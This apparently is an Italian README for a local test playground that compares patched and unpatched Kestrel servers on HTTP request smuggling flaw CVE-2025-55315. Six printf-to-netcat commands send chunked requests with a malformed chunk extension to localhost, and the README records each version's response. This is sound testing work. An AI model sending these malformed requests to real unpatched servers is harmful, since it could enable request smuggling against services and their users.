
# Playground per sperimentare con diversi comportamenti su Kestrel patchato/non patchato per la vulnerabilità di HTTP smuggling CVE-2025-55315
Ecco alcuni test che possono essere eseguiti contro questi servizi per osservare comportamenti diversi sulle route GET/POST tra le versioni patchate e non patchate di Kestrel.
GET contro versione non patchata (invia 200 e il socket rimane aperto)
printf 'GET / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5002
GET contro versione patchata (invia 200 e il socket si chiude)
printf 'GET / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5001
POST senza CT richiesto contro versione non patchata (invia 200 e il socket rimane aperto)
printf 'POST / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5002
POST senza CT richiesto contro versione patchata (invia 400 e il socket si chiude (il processo genera anche un'eccezione gestita relativa a Bad chunk extension))
printf 'POST / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5001
POST con CT richiesto contro versione non patchata (invia 415 e il socket rimane aperto)
printf 'POST /ct HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5002
POST con CT richiesto contro versione patchata (invia 415 e il socket si chiude)
printf 'POST /ct HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5001